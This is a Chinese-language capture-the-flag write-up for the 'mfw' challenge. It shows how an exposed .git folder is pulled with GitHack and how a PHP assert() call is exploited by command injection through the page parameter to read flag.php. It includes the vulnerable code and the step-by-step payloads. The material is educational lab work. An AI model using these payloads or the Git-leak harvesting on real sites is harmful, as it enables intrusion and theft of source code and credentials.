Home界面:
Home界面翻译如下:
欢迎访问我的网站!
我自己从头开始写的!
您可以使用上面的链接浏览页面!
About界面:
观察到Git,联想Git泄露
Git泄露
Git是一个非常流行的开源分布式版本控制系统,它被广泛用于协同开发和代码管理。许多网站和应用程序都使用Git作为其代码管理系统,并将其部署到生产环境中以维护其代码库。
然而,在配置不当的情况下,可能会导致.git
文件夹被直接部署到线上环境中,这可能会导致Git泄露问题。
此时可使用githack等工具
下载站点存储库的整个代码历史记录和配置信息。
漏洞利用
通过枚举工具或搜索引擎来查找带有.git文件夹的存储库,以获取包含未加密密码、凭据和敏感信息的站点代码库。
如GET/.git
以确认是否存在git泄露
查看是否存在Git漏洞
Payload:/.git
由上图,存在Git漏洞。
下载泄漏文件
利用python的githacker库下载泄露文件
GitHack的安装本文不再赘述
详情参考: [Python/网络安全] Git漏洞之Githack工具基本安装及使用详析
打开Githack,输入Payload:python GitHack.py http://61.147.171.105:61017/.git
得到文件
代码审计
其中,index.php文件存在以下代码:
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
//传入page参数,如果没有,则设置为home
$file = "templates/" . $page . ".php";
//将page参数拼接成一个templates下的php文件,设置为变量file
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
//判断file中是否有 .. 如果有则直接退出 这是为了防止目录遍历
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!")
//检查指定的文件是否存在。如果文件不存在,将抛出另一个断言错误并停止脚本的执行。
?>
姿势
由于该代码仅对目录遍历进行防范,因此可构造POC,执行系统命令。
由于下载得到的文件中,templates目录路径
下含有flag.php
,故应读取该文件中内容
构造POC如下:
?page=qiu or system("cat templates/flag.php");
由于qiu参数不存在,page=qiu
返回false
可利用or执行system函数
同时观察到该行代码:
assert("strpos('参数', '..') === false")
如果将上面的POC传入,则变为
assert("strpos('qiu or system("cat templates/flag.php");', '..') === false")
qiu
未被括号闭合,该语句注入不成功
重新构造POC如下:
?page=qiu') or system("cat templates/flag.php");
则语句变为:
assert("strpos('qiu') or system("cat templates/flag.php");', '..') === false")
再用//
将后面的语句注释掉即可
构造POC如下:
?page=qiu') or system("cat templates/flag.php");//
则语句变为:
assert("strpos('qiu') or system("cat templates/flag.php");//', '..') === false")
最后的语句如下:
assert("strpos('qiu') or system("cat templates/flag.php");
即可实现命令的成功执行:
总结
该题考察Git泄露之存储库读取姿势
、代码审计
与命令执行
,读者可躬身实践。文章来源:https://www.toymoban.com/news/detail-740658.html
我是秋说,我们下次见。文章来源地址https://www.toymoban.com/news/detail-740658.html
到了这里,关于[CSAW/网络安全] Git泄露+命令执行 攻防世界 mfw 解题详析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!